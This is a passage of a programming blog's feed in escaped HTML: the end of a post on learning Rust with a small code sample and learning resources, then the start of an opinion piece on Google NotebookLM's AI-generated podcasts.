style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    student_age: &lt;span style=&#34;color:#9aedfe&#34;&gt;u8&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// it satisfies the display Trait&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T: &lt;span style=&#34;color:#f3f99d&#34;&gt;Display&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; HogwartsReportCard&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;format!&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hogwarts&amp;#39; student: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; (&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;) - achieved a grade of &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.student_name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.student_age, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.grade,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;where-to-learn-rust&#34;&gt;Where to learn Rust?&lt;/h2&gt;&#xA;&lt;p&gt;Lastly, here are some resources you can use to learn Rust, but please consider that this is not a weekend&amp;rsquo;s task.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-rust-book-in-multiple-languages&#34;&gt;The Rust Book in multiple languages&lt;/h3&gt;&#xA;&lt;p&gt;Rust has its own bible, called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://doc.rust-lang.org/book/appendix-06-translation.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;The Rust book&amp;rdquo;, available in multiple languages&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/RustLangES/rust-book-es&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Spanish included&lt;/a&gt;&#xA;. The book is surprisingly well explained and very Foolproof, although it is a bit long, but it is understandable given the large amount of concepts to be exposed.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;educative&#34;&gt;Educative&lt;/h3&gt;&#xA;&lt;p&gt;If reading a thick book is not your style and you prefer premium education, educative has some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.educative.io/courses/ultimate-guide-to-rust-programming?aff=xkQr&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the ultimate guide to rust programming&lt;/a&gt;&#xA; for less than the price a well served meal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;youtube-channels-to-learn-rust&#34;&gt;Youtube channels to learn Rust&lt;/h3&gt;&#xA;&lt;p&gt;I also found that the videos of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/@codetothemoon&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Code to the Moon&lt;/a&gt;&#xA;, are quite easy to understand and the author of the channel explains very well the concepts of Rust.&lt;/p&gt;&#xA;&lt;p&gt;The channel &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/@letsgetrusty&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Let&amp;rsquo;s get Rusty&lt;/a&gt;&#xA; also has some tutorials that will help you understand the concepts better.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rustlings&#34;&gt;Rustlings&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Rustlings contains a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/rust-lang/rustlings&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;series of exercises to learn and practice Rust&lt;/a&gt;&#xA; while reading the Rust book.&lt;/p&gt;&#xA;&lt;p&gt;When you finish all Rustling&amp;rsquo;s exercises you receive this amazing prize.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1729807555/Rustling-success_vgyva3.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1729807555/Rustling-success_vgyva3.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rustling&amp;#39;s reward after finishing all exercises&#34; width=&#34;626&#34; height=&#34;618&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rustling&amp;rsquo;s reward after finishing all exercises&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;rust-is-not-so-hard-to-learn&#34;&gt;Rust is not so hard to learn&lt;/h2&gt;&#xA;&lt;p&gt;Rust is not exaggeratedly difficult, there are languages that are more complicated or require a complete paradigm shift to program in them, like Haskell, for example.&lt;/p&gt;&#xA;&lt;p&gt;But I won&amp;rsquo;t deny that learning Rust is more complicated than learning Go, or learning Python, I even dare to say that it is more complicated to learn than C, on the other hand it is easier to write bad code in C than in Rust.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rust-is-elegant-but-other-languages-are-simpler&#34;&gt;Rust is elegant but other languages are simpler&lt;/h3&gt;&#xA;&lt;p&gt;Certainly Rust is one of the most elegant languages out there, however sometimes productivity and convenience are preferred over beauty and elegance, even big &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;companies like Typescript preferred Go over Rust for its compiler&lt;/a&gt;&#xA;. You have to ask yourself the same question regardless of the result, Rust can be the language you need or maybe not, either answer is perfectly fine.&lt;/p&gt;&#xA;&lt;p&gt;So far, it seems that I am complaining about the design traits of the language, but no, I am only exposing the parts that challenged me the most, but, taking into account how big is the language, you will be able to realize that was really a minimum part.&lt;/p&gt;&#xA;&lt;p&gt;Most of Rust&amp;rsquo;s syntax is pretty straightforward, and some of the things you have to deal with, save you the headaches of having to debug memory leaks or null pointers, which is an interesting tradeoff.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I started learning Rust, and everything I read on the internet about its learning curve is true. Rust is difficult, not impossible, just difficult. But now I also &lt;strong&gt;understand why the obsession with this programming language&lt;/strong&gt;. After finishing Rust&amp;rsquo;s book I had a glimpse of the programming language that I will try to accurately capture in the following paragraphs.&lt;/p&gt;&#xA;&lt;p&gt;If you already know what makes Rust so difficult and you&amp;rsquo;re looking to learn it instead, skip to the final part of this post where I recommend some useful resources to learn Rust.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Google Notebooklm Will Reshape The Podcast Scenario Forever</title>
      <link>https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/</link>
      <pubDate>Tue, 01 Oct 2024 12:32:42 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/</guid>
      
      <category>opinion</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I just tried Google Notebooklm, and this feeling of novelty and excitement took over my mind. Similar to a child receives what he asked for for Christmas. However, I didn&amp;rsquo;t ask for this tool to exist, but here it is anyway.&lt;/p&gt;&#xA;&lt;h2 id=&#34;google-notebooklm-lets-you-create-a-podcast-from-your-notes&#34;&gt;Google Notebooklm lets you create a podcast from your notes&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;You&amp;rsquo;ve probably already heard of this tool, and if you haven&amp;rsquo;t, I&amp;rsquo;ll explain below.&lt;/p&gt;&#xA;&lt;p&gt;Google Notebooklm is an AI tool that becomes an expert in your notes and helps you. But the latter is not what has left me speechless. It is its tool that transforms your notes into a conversation between two people. &lt;del&gt;Right now is only available in English language&lt;/del&gt; More languages are available now. But let me show you the results right now.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/podcast-meme-5-minutes.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/podcast-meme-5-minutes.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;People often prefer audio-visual content over text&#34; width=&#34;500&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;People often prefer audio-visual content over text&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I generated this podcast using my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/&#34;&gt;the problem of using github to evaluate developers&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;figure &gt;&lt;/figure&gt;&#xA;    &lt;audio controls preload=&#34;metadata&#34;&gt;&#xA;      &lt;source src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1727844656/Podcast-Github-google-notebooklm_dsnzn8.mp3&#34; type=&#34;audio/mpeg&#34;&gt;&#xA;    &lt;/audio&gt;&#xA;    &lt;figcaption&gt;This podcast was automatically generated using Notebooklm&lt;/figcaption&gt;&#xA;  &lt;/figure&gt;&#xA;&lt;p&gt;You can create yours at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://notebooklm.google/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Google Nootebooklm&amp;rsquo;s site&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Google has done an excellent job with this tool. Please appreciate the tone, the clean audio. There are even a few crutches and occasional hesitant pauses to give it a slight touch of naturalness and realism. Not bad for a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;black box made of code that is not yet conscious&lt;/a&gt;&#xA; don&amp;rsquo;t you think?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;will-google-notebooklm-and-the-other-models-replace-podcasts&#34;&gt;Will Google Notebooklm and the other models replace podcasts?&lt;/h2&gt;&#xA;&lt;p&gt;This is the inevitable question (and its variants) whenever there is a significant progress in the field of artificial intelligence models: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/&#34;&gt;Is Devin AI going to replace developers?&lt;/a&gt;&#xA; or is it just one more symptom of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhyped bubble that we are living?&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t think it&amp;rsquo;s that simple, the interesting thing about this is trying to fit it into this colossal puzzle of AI models rising up in front of us right now.&lt;/p&gt;&#xA;&lt;p&gt;Just bear with me for a second. Eleven labs can convert text to different voices. While Notebooklm is able to transform notes into a podcast. Lumalabs or Pika can transform images into video.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Can you visualize it yet? A complete podcast, with customizable voices and faces, in video, hardly distinguishable from a &amp;ldquo;real&amp;rdquo; podcast.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-future-of-commoditized-ai-created-podcasts-awaits-us&#34;&gt;A future of commoditized AI-created podcasts awaits us.&lt;/h2&gt;&#xA;&lt;p&gt;In a world where you can create monetizable podcasts in a matter of minutes, this type of content will become abundant (and repetitive) in short order, just like what is happening right now with all those channels that only put voices to reddit posts, or those that use AI images and voices to animate folktales.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/95scrd.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/95scrd.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;I can foresee this in the next year&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;I can foresee this in the next year&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Being able to train a model with material from past podcasts or writings to faithfully emulate the style will save content creators hours of work - imagine, you generate the entire podcast with AI and then just edit it to replace those parts that seem bland and voila!, you have a podcast that feels human in seconds.&lt;/p&gt;&#xA;&lt;p&gt;Or, if that doesn&amp;rsquo;t suits you, you can take it further and create quite interesting scenarios like this one where the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/artificial/comments/1frk1gi/notebooklm_podcast_hosts_discover_theyre_ai_not/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;AI podcast speakers discover their own non-human nature&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;possible-not-so-positive-market-reaction-to-ai-podcasts&#34;&gt;Possible not so positive market reaction to AI podcasts.&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, this may also change the podcast market forever, people love to connect with other humans, and not everyone will be comfortable knowing that they will spend 2 hours listening to a podcast that probably regurgitated an AI, maybe some folks will dedicate a couple of extra minutes to look for a human version instead.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/AI-impact-on-society.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/AI-impact-on-society.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Not all people consider that the rise of AI is a good thing&#34; width=&#34;630&#34; height=&#34;625&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Not all people consider that the rise of AI is a good thing&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;So no, it&amp;rsquo;s not going to disappear podcasters, especially the big ones, but it will raise the bar, now a monotone, mediocre and average podcast that&amp;rsquo;s indistinguishable from an AI generated one will be treated as such.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, skepticism will make many people prefer content that is harder for an AI to imitate (at least for now), such as videos, or live, burying written content in oblivion.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooklm-and-the-possible-death-of-written-content-and-blogging-yes-again&#34;&gt;Notebooklm and the possible death of written content and blogging (Yes, again)&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s no secret that videos have become the most popular option for consuming content in recent years.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t know if it&amp;rsquo;s a trick of my imagination but I feel that people are reading less and less. The audiovisual format, although more superficial, allows us to connect emotionally in a better way with consumers, probably due to our social and collective nature that was naturally selected long before the appearance of writing.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/what-it-feels-to-listen-to-a-podcast.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/what-it-feels-to-listen-to-a-podcast.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;What does it feel like to listen to a podcast&#34; width=&#34;700&#34; height=&#34;942&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;What does it feel like to listen to a podcast?&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now that a podcast is so easy to generate from written text, who would rather dive into a sea of lyrics than yield to the tempting call of a human voice?&lt;/p&gt;&#xA;&lt;p&gt;Doesn&amp;rsquo;t blogging now feel like the sketch or 